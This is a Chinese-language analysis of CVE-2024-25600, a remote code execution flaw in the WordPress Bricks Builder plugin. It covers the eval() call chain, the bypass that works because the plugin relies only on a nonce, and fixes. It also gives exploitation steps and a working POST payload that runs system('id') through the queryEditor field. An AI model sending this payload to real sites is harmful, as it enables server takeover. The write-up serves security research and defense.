CVE-2024-25600 WordPress Bricks Builder远程代码执行漏洞分析
字数 1826 2025-08-29 08:29:59
WordPress Bricks Builder 远程代码执行漏洞分析 (CVE-2024-25600)
漏洞概述
CVE-2024-25600 是 WordPress Bricks Builder 插件中的一个高危远程代码执行漏洞,影响版本为 1.9.1 至 1.9.6。该漏洞允许攻击者通过构造恶意请求在前台执行任意 PHP 代码,导致完全控制网站服务器。
漏洞影响
- 影响版本: 1.9.1 ≤ Bricks Builder ≤ 1.9.6
- 漏洞类型: 远程代码执行 (RCE)
- 攻击复杂度: 低
- 权限要求: 无 (前台利用)
- CVSS 评分: 9.8 (Critical)
漏洞成因
漏洞主要由三个关键因素共同导致:
- 危险函数调用: 插件中直接使用
eval()执行用户可控输入 - 权限校验不足: 仅依赖 WordPress nonce 进行校验,而 nonce 可从前端获取
- 输入控制不严: 用户输入未经充分过滤直接进入危险函数
技术细节分析
1. 危险函数调用链
漏洞最终触发点在 eval() 函数执行攻击者可控的 $php_query_raw 参数:
eval( "return $php_query_raw;" );
$php_query_raw 的值来源于:
$php_query_raw = bricks_render_dynamic_data( $query_vars['queryEditor'], $post_id );
2. 用户输入传递路径
攻击者输入通过以下路径传递到危险函数:
- 通过 REST API 端点
/wp-json/bricks/v1/render_element发送请求 - 请求中的
element.settings.query.queryEditor参数被处理 - 经过
prepare_query_vars_from_settings()函数处理 - 通过
bricks_render_dynamic_data()函数处理 - 最终到达
eval()函数
3. 关键代码逻辑
bricks_render_dynamic_data() 函数分析
该函数对输入的处理逻辑如下:
- 如果输入是数组且非空,直接返回第一个元素
- 如果输入包含
name键且非空,返回其值 - 如果输入不包含
{字符,直接返回 - 如果包含
{echo:字符串,去除转义反斜线 - 最终通过
apply_filters处理返回
类实例化漏洞点
关键漏洞触发路径涉及动态类实例化:
new $element_class_name( $element )
攻击者可通过控制 $element_class_name 和 $element 参数,最终触发 Query 类的实例化,进而调用危险函数。
4. 权限绕过问题
漏洞利用仅需满足以下条件:
- 有效的 nonce 值(可从页面源码获取)
- 构造符合要求的 REST API 请求
WordPress 官方文档明确指出 nonce 不应作为权限验证的唯一依据,但插件仅依赖 nonce 校验导致了权限绕过。
漏洞利用
利用条件
- 目标站点使用 Bricks Builder 插件 1.9.1-1.9.6 版本
- 能够获取有效的 nonce 值(可从页面源码获取)
利用步骤
- 从目标站点页面源码中获取有效的 nonce 值
- 构造恶意 POST 请求发送到
/wp-json/bricks/v1/render_element端点 - 在
queryEditor参数中插入恶意 PHP 代码
示例攻击载荷
POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: target.com
Content-Type: application/json
{
"postId": "1",
"nonce": "a980a714d9",
"element": {
"name": "container",
"settings": {
"hasLoop": "",
"query": {
"useQueryEditor": "",
"queryEditor": "system('id');",
"objectType": ""
}
}
}
}
修复方案
- 升级插件: 升级到 Bricks Builder 1.9.6 以上版本
- 临时缓解措施:
- 禁用 Bricks Builder 插件
- 限制访问
/wp-json/bricks/v1/路径 - 使用 WAF 规则拦截可疑请求
漏洞挖掘启示
- 危险函数审计: 关注
eval()、system()等危险函数的使用 - 输入源追踪: 完整追踪用户输入从入口到危险函数的路径
- 权限校验审查: 检查所有敏感操作的权限校验是否充分
- 动态代码执行风险: 特别注意动态类/方法调用等灵活但危险的特性
时间线
- 漏洞发现: 2024年初
- 漏洞修复: Bricks Builder 1.9.6+
- CVE分配: CVE-2024-25600
参考资源
- Bricks Builder 官方更新日志
- WordPress 官方安全建议
- CVE 官方数据库记录
该文档全面分析了 CVE-2024-25600 漏洞的技术细节、利用方式和防御措施,可作为安全研究和防护工作的参考。实际测试或利用时请确保获得合法授权,遵守相关法律法规。